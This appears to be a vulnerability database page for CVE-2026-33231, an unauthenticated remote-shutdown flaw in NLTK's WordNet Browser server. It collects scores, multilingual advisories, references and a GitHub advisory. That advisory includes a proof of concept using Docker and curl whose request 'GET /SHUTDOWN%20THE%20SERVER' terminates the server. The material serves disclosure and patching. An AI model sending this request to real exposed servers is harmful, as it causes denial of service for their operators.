CVE-2026-33231
highpriority · track · 1OT risk · elevatedEPSS 0.015 · 74 %ileDEEUFRUSEPSS · scored 2026-10-24
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.
cvss
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base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
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affected products (6)
Products and version ranges known to be affected.
advisories (4)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0895IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-03-26csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Dateien zu manipulieren, um einen Denial of Service Angriff durchzuführen, um beliebigen Programmcode auszuführen, und um einen Cross-Site Scripting Angriff durchzuführen.
- GHSA-jm6w-m3j8-898gUnauthenticated remote shutdown in nltk.app.wordnet_app2026-03-19ghsa · osvUS
### Summary `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. ### Details The vulnerable logic is in `nltk/app/wordnet_app.py`: - [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242) - The server listens on all interfaces: - `server = HTTPServer(("", port), MyServerHandler)` - [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87) - Incoming requests are checked for the exact path: - `if unquote_plus(sp) == "SHUTDOWN THE SERVER":` - [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88) - The shutdown protection only depends on `server_mode` - [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93) - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly: - `os._exit(0)` This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode. ### PoC 1. Start the WordNet Browser in Docker in its default mode: ```bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)" ``` 2. Confirm the service is reachable: ```bash curl -s -o /tmp/wn_before.html -w '%{http_code}\n' 'http://127.0.0.1:8004/' ``` Observed result: ```text 200 ``` 3. Trigger shutdown: ```bash curl -s -o /tmp/wn_shutdown.html -w '%{http_code}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER' ``` Observed result: ```text 000 ``` 4. Verify the service is no longer available: ```bash curl -s -o /tmp/wn_after.html -w '%{http_code}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest ``` Observed results: ```text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down! ``` ### Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server. Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because: - the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown This primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.
- CERTFR-2026-AVI-1378Multiples vulnérabilités dans les produits IBMFrançais2026-10-23vendor · certfrFR
- PYSEC-2026-22362026-03-20vendor · osvUS
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, `nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service. Commit bbaae83db86a0f49e00f5b0db44a7254c268de9b patches the issue.
also known as (5)
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sources
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references (15)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-33231cnnvd
- https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9bcnnvd
- https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898gcnnvd
- https://vigilance.fr/vulnerability/NLTK-three-vulnerabilities-dated-27-03-2026-50238cnnvd
- https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9benisa_euvd
- https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898genisa_euvd
- https://access.redhat.com/errata/RHSA-2026:19712nvd
- https://access.redhat.com/errata/RHSA-2026:24977nvd
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